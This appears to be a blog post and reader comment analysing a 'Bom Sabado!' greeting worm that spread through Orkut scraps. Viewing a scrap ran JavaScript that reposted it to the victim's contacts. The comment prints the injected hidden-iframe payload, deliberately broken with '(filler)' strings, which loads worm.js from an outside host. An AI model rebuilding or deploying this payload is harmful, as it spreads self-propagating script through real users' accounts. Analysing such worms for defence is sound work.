This wierd worm appears to be similar to one that appeared in Dec' 2007 and the people behind are suspected to be the same. A Portuguese Greeter worm
It appears that the communities like "Somente você me COMPLETA!, O virus Que Contagia, ADA - Adoro Dormir Abraçado, Eu tenho um grande AMOR" and few more random Communities
This greets you in the scrap book "Bom Sabado! " which translates to "Good Saturday" in contrast to the earlier on with “2008 vem ai… que ele comece mto bem para vc.” This translates to “2008 is coming…I wish that it begins quite well for you”.
No external links are involved just viewing the scrap spreads the worm. Although no cases of account infringement are noticed yet . This worm look to be having only a intention of fairly "Spamming" with greets.
Once the user views the scrap the account gets infected and runs a Javascript to post the scrap to all persons in the victims contact.
The javascripts look to appear from TPTOOLS (http://tptools.org/)
meanwhile the browser looks to be freezed however the code is executed in the background.
No official reports are out yet in this matter on the statistics and its impact.
The best countermeasure is to stay away from viewing the scrap or use "Noscripts" addon or block the scripts on the browser.
Looks Like
ReplyDeletetptools.org/worm.js
is now suspended.
Following is a similar code which was executing. NOTE: I added "(filler)" in between various places in the code to just to make the code messed up and not working. Might look funnier but can't help. :). If you are removing "(filler)" then be cautious and do not execute it in the browser.
and this suggests that iframe injection is still very much possible in Orkut.
The actual Code inserted was :
"(filler)<(filler)iframe(filler) style="display: none;" onload(filler)="a = document(filler).createElement( 'script');a(filler).src(filler) = '/' + '/tptools.o'+'rg/worm(filler).js(filler)'+'#(filler)<(filler)wbr(filler)>(filler)#'; document(filler) . body(filler) . appendChild( a )"(filler)>(filler)"
However we need to be cautious coz someone else who might have copied this could unleasch this with slight change.